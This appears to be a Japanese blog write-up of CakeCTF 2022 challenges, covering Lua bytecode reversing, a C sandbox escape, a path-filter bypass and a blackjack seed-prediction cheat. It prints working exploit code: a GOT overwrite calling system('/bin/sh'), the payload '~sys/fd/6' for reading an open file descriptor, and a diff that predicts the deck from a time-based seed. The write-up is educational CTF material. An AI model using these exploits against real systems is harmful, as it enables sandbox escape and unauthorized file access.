       53 [-]: GETTABLE  R9 R9 K34    ; R9 := R9["byte"]
       54 [-]: SELF      R10 R0 K35   ; R11 := R0; R10 := R0["sub"]
       55 [-]: MOVE      R12 R8       ; R12 := R8
       56 [-]: ADD       R13 R8 K32   ; R13 := R8 + 1
       57 [-]: CALL      R10 4 0      ; R10 to top := R10(R11 to R13)
       58 [-]: CALL      R9 0 2       ; R9 := R9(R10 to top)
       59 [-]: SETTABLE  R3 R8 R9     ; R3[R8] := R9
       60 [-]: FORLOOP   R5 -9        ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 52 end
       61 [-]: LOADK     R5 K32       ; R5 := 1
       62 [-]: LEN       R6 R1        ; R6 := #R1
       63 [-]: LOADK     R7 K32       ; R7 := 1
       64 [-]: FORPREP   R5 8         ; R5 -= R7; pc += 8 (goto 73)
       65 [-]: GETTABUP  R9 U0 K33    ; R9 := U0["string"]
       66 [-]: GETTABLE  R9 R9 K34    ; R9 := R9["byte"]
       67 [-]: SELF      R10 R1 K35   ; R11 := R1; R10 := R1["sub"]
       68 [-]: MOVE      R12 R8       ; R12 := R8
       69 [-]: ADD       R13 R8 K32   ; R13 := R8 + 1
       70 [-]: CALL      R10 4 0      ; R10 to top := R10(R11 to R13)
       71 [-]: CALL      R9 0 2       ; R9 := R9(R10 to top)
       72 [-]: SETTABLE  R4 R8 R9     ; R4[R8] := R9
       73 [-]: FORLOOP   R5 -9        ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 65 end
       74 [-]: LOADK     R5 K32       ; R5 := 1
       75 [-]: LEN       R6 R3        ; R6 := #R3
       76 [-]: LOADK     R7 K32       ; R7 := 1
       77 [-]: FORPREP   R5 9         ; R5 -= R7; pc += 9 (goto 87)
       78 [-]: ADD       R9 R8 K32    ; R9 := R8 + 1
       79 [-]: LEN       R10 R3       ; R10 := #R3
       80 [-]: LOADK     R11 K32      ; R11 := 1
       81 [-]: FORPREP   R9 4         ; R9 -= R11; pc += 4 (goto 86)
       82 [-]: GETTABLE  R13 R3 R8    ; R13 := R3[R8]
       83 [-]: GETTABLE  R14 R3 R12   ; R14 := R3[R12]
       84 [-]: SETTABLE  R3 R8 R14    ; R3[R8] := R14
       85 [-]: SETTABLE  R3 R12 R13   ; R3[R12] := R13
       86 [-]: FORLOOP   R9 -5        ; R9 += R11; if R9 <= R10 then R12 := R9; PC += -5 , goto 82 end
       87 [-]: FORLOOP   R5 -10       ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -10 , goto 78 end
       88 [-]: LOADK     R5 K32       ; R5 := 1
       89 [-]: LEN       R6 R3        ; R6 := #R3
       90 [-]: LOADK     R7 K32       ; R7 := 1
       91 [-]: FORPREP   R5 14        ; R5 -= R7; pc += 14 (goto 106)
       92 [-]: GETTABLE  R9 R3 R8     ; R9 := R3[R8]
       93 [-]: SUB       R10 R8 K32   ; R10 := R8 - 1
       94 [-]: LEN       R11 R4       ; R11 := #R4
       95 [-]: MOD       R10 R10 R11  ; R10 := R10 % R11
       96 [-]: ADD       R10 K32 R10  ; R10 := 1 + R10
       97 [-]: GETTABLE  R10 R4 R10   ; R10 := R4[R10]
       98 [-]: BXOR      R9 R9 R10    ; R9 := R9 ~ R10
       99 [-]: SETTABLE  R3 R8 R9     ; R3[R8] := R9
      100 [-]: GETTABLE  R9 R3 R8     ; R9 := R3[R8]
      101 [-]: GETTABLE  R10 R2 R8    ; R10 := R2[R8]
      102 [-]: EQ        1 R9 R10     ; if R9 ~= R10 then goto 104 else goto 106
      103 [-]: JMP       R0 2         ; PC += 2 (goto 106)
      104 [-]: LOADBOOL  R9 0 0       ; R9 := false
      105 [-]: RETURN    R9 2         ; return R9
      106 [-]: FORLOOP   R5 -15       ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -15 , goto 92 end
      107 [-]: LOADBOOL  R5 1 0       ; R5 := true
      108 [-]: RETURN    R5 2         ; return R5
      109 [-]: RETURN    R0 1         ; return 
    

    右のほうに書いてくれているコメントがレジスタのやりとりを書いていそうでわかりやすい。追ってみると何かしらの文字列と入力文字列 (フラグ) の xor をとった結果が、最初のほうで代入されているバイト列と一致するかを確認しています。 xor をとるなんかしらの文字列がどこで定義されているのか不明だったのですが、フラグの先頭が CakeCTF{ となることを利用して求めました。

    from pwn import xor
    
    enc = bytes([62, 85, 25, 84, 47, 56, 118, 71, 109, 0, 90, 71, 115, 9, 30, 58, 32, 101, 40, 20, 66, 111, 3, 92, 119, 22, 90, 11, 119, 35, 61, 102, 102, 115, 87, 89, 34, 34])
    xor(enc, b"aC2202 FTCek")

    b"aC2202 FTCek"...?ディスアセンブル結果を誤読しているかもしれない…

    CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}

    nimrev

    246 solves

    手元のメモにはフラグしか残されていない…かなり序盤に解いたので記憶にも残っていない… たくさん解かれているので strings でフラグ表示する系か、 gdb で実行したら文字列比較のところでフラグが見えちゃう系の問題だった気がします。

    CakeCTF{s0m3t1m3s_n0t_C}

    misc

    C-Sandbox

    20 solves

    system などの許可されていない関数 (許可されているのは puts, printf, scanf, exit のみ) を使おうとすると、コンパイルした結果、その関数の前にエラーメッセージを put する処理と exit 処理が付け加えられてしまいます。 しかし逆にいうと exit 処理を無視することさえできれば system とかも呼べてしまうわけです。幸い docker の環境が与えられているのでコンパイルした結果は完全に一緒のはずです。なのでその環境でコンパイルして各シンボルがどこに配置されるか確認し、 その後 GOT を直接代入して exit を呼ばれないようにすれば OK です。 以下は実際に使ったコードです。不要な処理があまりにも多い。

    #include <stdio.h>
    #include <stdlib.h>
    
    void nothing(int n) {}
    
    int main() {
      int a;
      scanf("%d", &a);
      printf("%d\n", a);
      printf("%016lx", &printf);
      unsigned long int **address;
      *address = 0x404038L;
      **address = 0x00401040;
      system("/bin/sh");
      exit(0);
      return 0;
    }

    CakeCTF{briI1ng_yoO0ur_oO0wn_gaA4dgeE3t!}

    readme 2022

    52 solves

    server.py
    import os
    
    try:
        f = open("/flag.txt", "r")
    except:
        print("[-] Flag not found. If this message shows up")
        print("    on the remote server, please report to amdin.")
    
    if __name__ == '__main__':
        filepath = input("filepath: ")
        if filepath.startswith("/"):
            exit("[-] Filepath must not start with '/'")
        elif '..' in filepath:
            exit("[-] Filepath must not contain '..'")
    
        filepath = os.path.expanduser(filepath)
        try:
            print(open(filepath, "r").read())
        except:
            exit("[-] Could not open file")

    今回の CTF では一番好きな問題かもしれない。 /flag.txt を読みたいのですが、 path の先頭は / にできなかったり ../ がダメだったりと、普通にやったら path を指定できなさそうです。 怪しい部分が os.path.expanduser(filepath) ぐらいなので、この関数の仕様を調べます。 https://docs.python.org/ja/3/library/os.path.html#os.path.expanduser を見ると、 ~~user を絶対パスに置き換えてくれるようです。 ~user/etc/passwd を参照しているとのこと。 docker 環境を構築して /etc/passwd を確認すると、 sys というユーザーが使えそうでした。 ~sys//dev/ に変換されます。 /dev/ 以下には /dev/fd があります。 ここで問題のソースコードを読み返してみると、 /flag.txt を開いていることに気づきます。どっかの fd/flag.txt のものになっているはず。6番を見たら (つまり ~sys/fd/6) フラグが手に入りました。

    cheat

    matsushima3

    22 solves

    ブラックジャックに勝ちまくればフラグが手に入ります。こんなの山札がどうなってるかわからんと厳しいだろ…と思い、シャッフルがどうなされているか確認しました。

        # Shuffle cards
        deck = [(i // 13, i % 13) for i in range(4*13)]
        random.seed(int(time.time()) ^ session['user_id'])
        random.shuffle(deck)
        session['deck'] = deck

    というわけで、 seed の特定が容易です。シードが特定できれば山札も特定できるので、あとは負けないように hit, stand を選ぶだけです。運が悪いとどうしても負けてしまうパターンがあるので、本当は開始時刻や user_id も厳選し、長い目で勝ち続けられるかをシミュレーションすべきっぽい?実装が面倒だったのでそういうことはしませんでした。サーバーにちょっと負荷がかかる実装で申し訳ない…

    6a7
    > import time
    61c62,64
    <         self.money = self.connection.request('user/new')['money']
    ---
    >         response = self.connection.request('user/new')
    >         self.user_id = response["user_id"]
    >         self.money = response['money']
    76,80c79,81
    <             if pyxel.btnp(pyxel.KEY_Z): # Player chose hit
    <                 pyxel.play(3, [0])
    <                 self.notify_action(GameAction.HIT)
    <
    <             elif pyxel.btnp(pyxel.KEY_X): # Player chose stand
    ---
    >             # TODO
    >             if self.player_score + self.deck[-1][1] > 21:
    >                 self.deck.pop()
    82a84,97
    >             else:
    >                 self.deck.pop()
    >                 pyxel.play(3, [0])
    >                 current_num_dealer_cards = self.num_dealer_cards
    >                 self.notify_action(GameAction.HIT)
    >                 for _ in range(self.num_dealer_cards - current_num_dealer_cards):
    >                     self.deck.pop()
    >             # if pyxel.btnp(pyxel.KEY_Z): # Player chose hit
    >             #     pyxel.play(3, [0])
    >             #     self.notify_action(GameAction.HIT)
    >
    >             # elif pyxel.btnp(pyxel.KEY_X): # Player chose stand
    >             #     pyxel.play(3, [0])
    >             #     self.notify_action(GameAction.STAND)
    85,89c100,108
    <             if pyxel.btnp(pyxel.KEY_Z):
    <                 pyxel.play(3, [0])
    <                 self.init_game()
    <                 self.state = GameState.GAME
    <                 self.frame = 0
    ---
    >             # if pyxel.btnp(pyxel.KEY_Z):
    >             #     pyxel.play(3, [0])
    >             #     self.init_game()
    >             #     self.state = GameState.GAME
    >             #     self.frame = 0
    >             pyxel.play(3, [0])
    >             self.init_game()
    >             self.state = GameState.GAME
    >             self.frame = 0
    200a220,221
    >         now = int(time.time())
    >         print(response)
    203a225,238
    >         for i in range(10):
    >             seed = (now - i) ^ self.user_id
    >             deck = [(i // 13, i % 13) for i in range(4*13)]
    >             random.seed(seed)
    >             random.shuffle(deck)
    >             player_hand = []
    >             dealer_hand = []
    >             for i in range(2):
    >                 player_hand.append(list(deck.pop()))
    >                 dealer_hand.append(list(deck.pop()))
    >             if player_hand == self.player_hand:
    >                 print(f"{seed = }")
    >                 self.deck = deck
    >                 break

    CakeCTF{INFAMOUS_LOGIC_BUG}